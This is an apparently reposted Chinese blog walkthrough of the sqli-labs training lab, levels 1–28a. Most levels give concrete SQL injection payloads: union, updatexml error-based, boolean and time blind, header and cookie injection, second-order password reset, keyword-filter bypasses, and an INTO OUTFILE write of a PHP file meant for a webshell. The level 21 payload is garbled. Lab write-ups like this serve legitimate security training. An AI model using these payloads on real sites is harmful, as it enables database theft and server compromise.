目錄
updatexml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
25a
26
26a
27
27a
28
28a
問題:你了解sql注入嗎
答:由于程序過濾不嚴(yán)謹(jǐn),用戶異常輸入,這些輸入會(huì)導(dǎo)致數(shù)據(jù)庫異常查詢,最終導(dǎo)致sql注入
mysql三種注釋符:
--+
#
/**/
updatexml
updatexml()
UPDATEXML (XML_document, XPath_string, new_value);
這個(gè)函數(shù)作用是替換數(shù)據(jù),三個(gè)參數(shù)對(duì)應(yīng)的分別是源文檔、要查找的元素路徑、新的值
例子:
UPDATE mytable SET xml_data = updatexml(xml_data, '/path/to/element', 'new_value') WHERE ...
一個(gè)名為"mytable"的表,其中包含一個(gè)名為"xml_data"的XML類型列。要將XML文檔中"path/to/element"元素的值替換為"new_value
報(bào)錯(cuò)注入利用:
0x7e是~的十六進(jìn)制,會(huì)讓xpath參數(shù)報(bào)錯(cuò),然后返回報(bào)錯(cuò)信息,同時(shí)在xpath參數(shù)中插入concat()連接字符串,和所要查詢的內(nèi)容,例如database()
即可將查詢內(nèi)容與報(bào)錯(cuò)信息一起反饋出來。
1
1.判斷注入類型:先單引號(hào)發(fā)現(xiàn)報(bào)錯(cuò),說明是單引號(hào)注入
2.判斷字段數(shù):用order by ,經(jīng)測(cè)試:?id=1' order by 4 --+發(fā)生報(bào)錯(cuò),說明只有3個(gè)字段
3.查看回顯位置:用一個(gè)不存在id測(cè)試回顯位置:?id=-1' union select 1,2,3 --+,發(fā)現(xiàn),2,3是回顯位置
4.查數(shù)據(jù):
庫名: ?id=-1' union select 1,database(), 3--+,得到security
表名: ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+,得到四張表:
emails,referers,uagents,users
字段名:就是將表名的table改成columns,得到表名,太多了就不列舉了
發(fā)現(xiàn)兩個(gè)關(guān)鍵的username,password
查字段內(nèi)容:?id=-1' union select 1,group_concat(username),3 from security.users--+,查哪個(gè)字段就把username改成對(duì)應(yīng)字段名即可
最終得到賬號(hào)密碼
2
1.判斷注入類型:單雙引號(hào)都報(bào)錯(cuò)了,引號(hào)閉合不了,不是字符注入。是數(shù)字注入
2.用order by 判斷字段數(shù)為3
3.用union判斷回顯位置為2,3
4.查數(shù)據(jù):
庫名:?id=-1%20union%20select%201,database(),--+,得到security
表名:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
字段名:把表名的table和tables改成column和columns
查賬號(hào)密碼:?id=-1 union select 1,group_concat(username),3 from security.users--+
3
1.判斷注入類型,測(cè)試了1和雙引號(hào)沒異常,單引號(hào)發(fā)現(xiàn)報(bào)錯(cuò),說有括號(hào),所以再閉合一個(gè)括號(hào) id=1')
2.判斷字段和回顯分別是3和2,3
3.查數(shù)據(jù)跟前面一樣
4
從3的單引號(hào)變成雙引號(hào),其他不變
5
1.判斷注入類型,發(fā)現(xiàn)只有id=1'能報(bào)錯(cuò)
2.測(cè)試字段數(shù)和回顯發(fā)現(xiàn)無法使用聯(lián)合查詢了,使用報(bào)錯(cuò)注入
3.查數(shù)據(jù):
庫名:?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
表名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
字段名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'),0x7e),1)--+
用戶密碼:
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)--+ ?id=-1' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)--+
6
只是把單引號(hào)換成了雙引號(hào),其他和5關(guān)一樣
7
這關(guān)很奇怪,要做出來得去改mysql的配置文件,允許上傳文件,然后直接傳后門,但是都能修改文件了,還有必要改ini嗎
但是不妨也是一種手段:
利用前提:1.是root,2.目錄是網(wǎng)站的根路徑,也就是網(wǎng)站能訪問到該路徑
先修改my.ini的secure_file_priv="要上傳文件的路徑"
然后閉合后寫導(dǎo)出語句
?id=1')) union select 1,2,'<?php phpinfo(); ?>' into outfile "D:\phpstudy_pro\WWW\shellaa.php"--+
然后就把我們的shellaaa.php上傳到這個(gè)目錄下了,可以傳一句話后門直接用蟻劍登錄,我這里測(cè)試用的是phpinfo();
8
判斷注入類型:初步判斷為bool盲注
庫名:
庫名的長度:?id=1' and length(database())>8 --+數(shù)字加到8沒有回顯,說明庫名長度為8。庫名:?id=1' and ascii(substr((database()),1,1))=115 --+當(dāng)?shù)扔?15的時(shí)候有回顯,說明庫名的第一個(gè)字符為s,以此類推
表名、字段名類似,盲注比較麻煩,建議用腳本或者sqlmap
9
判斷注入類型:測(cè)試對(duì)錯(cuò)都不變,是時(shí)間盲注
跟布爾盲注的區(qū)別就在于加了一個(gè)sleep()函數(shù)
?id=1; and if(ascii(substr(database(),1,1))>100,sleep(2),0)--+
如果條件為真就會(huì)延遲兩秒回顯,也可以看網(wǎng)頁檢查的network模塊的加載時(shí)間的變化,我們以此來判斷是否為真,其余思路與布爾盲注一樣
10
和第9關(guān)的注入唯一區(qū)別就是不用閉合了
11
用戶名輸入單引號(hào)報(bào)錯(cuò),用updatexml嘗試報(bào)錯(cuò)注入
直接在用戶名測(cè)試:aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1)# 這里因?yàn)槭莗ost提交,所以注釋用的#
然后成功回顯庫名了,然后用戶輸入admin,密碼輸入-1' union select 1,2#
看到回顯位置,然后就直接查數(shù)據(jù)即可
12
跟11題區(qū)別就是密碼框輸入的時(shí)候用雙引號(hào)閉合:-1' union select 1,2#
13
改動(dòng):單引號(hào)+括號(hào)閉合,其他跟11一樣
14
雙引號(hào)閉合的,正?;仫@被注釋,不能用聯(lián)合查詢,首選用updatexml報(bào)錯(cuò)注入、也可以bool盲注根據(jù)返回的圖片來判斷
15
從14的雙引號(hào)閉合變成了單引號(hào)閉合,其他一樣
16
又變成了雙引號(hào)+括號(hào)
17
先判斷魔術(shù)開關(guān)(只在php低版本有),然后用一個(gè)stripslashes(),作用是去掉轉(zhuǎn)義符
再判斷是否為數(shù)字,然后用mysql_real_escape_string()(也是個(gè)低版本的函數(shù))對(duì)特殊字符轉(zhuǎn)義,例如單雙引號(hào)
解釋:如果不判斷魔術(shù)開關(guān),會(huì)自動(dòng)轉(zhuǎn)義一次,然后到了mysql_real_escape_string()這個(gè)函數(shù)又轉(zhuǎn)義一次,這樣雙重轉(zhuǎn)義等于沒有轉(zhuǎn)義,單引號(hào)就逃出限制了,開著的話就會(huì)只轉(zhuǎn)義一次,單引號(hào)就被轉(zhuǎn)義失效了
用戶名是admin
密碼先測(cè)試一下單引號(hào)閉合,報(bào)錯(cuò)了
那么嘗試報(bào)錯(cuò)注入成功回顯:payload:123456' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
注意單引號(hào)前面的密碼要符合規(guī)范,例如我只寫了個(gè)aaa就會(huì)報(bào)錯(cuò)不合法
18
header頭注入
看源碼知道用戶名密碼都被過濾了,但是重新獲取了兩個(gè)值:HTTP_USER_AGENT和REMOTE_ADDR,并且放到數(shù)據(jù)庫里了,我們選擇USER_AGENT,因?yàn)镽EMOTE_ADDR改不了
用火狐的hackbar:
post:uname=admin&passwd=0
user agent添加一行aaa'提交后發(fā)現(xiàn)報(bào)錯(cuò),原因是插入值為3個(gè),我們寫了四個(gè)
用and連接就不影響了,還是原來的三個(gè)
所以payload:aaaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1
成功報(bào)錯(cuò)回顯出用戶
19
header頭變成了referer了
然后跟上一題一樣
20
這關(guān)將用戶名放入cookie,然后把cookie放到數(shù)據(jù)庫中查詢
所以注入點(diǎn)就是username
還是用firefox的hackerbar來偽造cookie,測(cè)試單引號(hào)閉合回顯報(bào)錯(cuò)
直接偽造cookie看回顯:-1' union select 1,2,3,4,5#
2,3回顯位置出現(xiàn),后面按套路查就行
注:username錯(cuò)誤就被過濾,正確才放到cookie,然后數(shù)據(jù)庫查cookie,所以修改username沒意義,應(yīng)該偽造cookie
21
cookie拿username的時(shí)候進(jìn)行了一次base64編碼,然后再把cookie解碼放進(jìn)數(shù)據(jù)庫中查詢
所以我們就是把payload進(jìn)行base64編碼然后放給cookie就行了
payload:ov||§vê]j×±]\¢w·L{z?¥y?n±ê??·μjwu
22
換了個(gè)閉合方式:雙引號(hào)閉合
23
先閉合再注釋測(cè)試,發(fā)現(xiàn)注釋符被過濾了
那就不注釋了,用and '1'='1
測(cè)試成功回顯:?id=-1' union select 12,3,4,5 and '1'=‘1
剩下的又和第一關(guān)一樣了
24
先注冊(cè),然后登錄,進(jìn)去后看到修改密碼界面
看源碼,又遇到mysql_real_escape_string()這個(gè)函數(shù)了
簡單說就是給單引號(hào)加個(gè)注釋符,但是關(guān)鍵是數(shù)據(jù)存到數(shù)據(jù)庫的時(shí)候,這個(gè)注釋符會(huì)去掉,也就是把單引號(hào)存到數(shù)據(jù)庫中了
那么查詢的時(shí)候,這個(gè)名字從數(shù)據(jù)庫中拿出來,引號(hào)也會(huì)被拿出來
所以這樣做:
找一個(gè)已存在的用戶名例如abc,然后注冊(cè)用戶abc'#
再修改密碼的話由于引號(hào)閉合和注釋,會(huì)導(dǎo)致用戶abc的密碼被修改,那么我們就知道abc的密碼了
25
所有的or 和 and被過濾
這是限制的報(bào)錯(cuò)注入,和password這個(gè)關(guān)鍵字
我們直接用第一題的解法就行,password寫成passwoorrd成功爆出數(shù)據(jù)
25a
沒有閉合,數(shù)字型的,其他跟25一樣
26
過濾了注釋符、and、or、空格、*也被過濾了
可以用括號(hào)代替空格,然后and用anandd繞過就行了,當(dāng)然不看源碼的話要嘗試會(huì)花不少時(shí)間
在linux下可以替換空格的:%0a、%0b、%0c、%0d、%a0
這里經(jīng)測(cè)試不行,但是其他情況可能有奇效
26a
報(bào)錯(cuò)注入被注釋了,嘗試聯(lián)合查詢也不行
那就試試布爾盲注
payload:?id=1')aandnd(ascii(substr(database(),1,1))>100)anandd('1')=('1
發(fā)現(xiàn)回顯正確的值,說明可以使用布爾盲注后面步驟就一樣,不贅述了
27
聯(lián)合查詢被過濾
union的大寫、小寫、空格都被過濾了、還過濾了三次select
空格用%0a替代,union用UNion這種大小寫組合就可以繞過
select寫成四個(gè)拼起來的就行:selselselselectectectect
除了這些過濾,其他就跟聯(lián)合查詢一樣了
27a
閉合方式不一樣,是單引號(hào),然后過濾select的正則沒有寫i,所以直接寫成SELect就能繞過
28
過濾了union+select,也就是union和select之間不能寫內(nèi)容
還是老樣子,雙寫,用%0a代替空格:
union%0aunion%0aselectselect
或者還能用布爾盲注文章來源:http://www.zghlxwxcb.cn/news/detail-706143.html
28a
沒啥區(qū)別,同樣的和上一關(guān)一樣的payload也能過文章來源地址http://www.zghlxwxcb.cn/news/detail-706143.html
到了這里,關(guān)于sqli-labs部分關(guān)思路的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!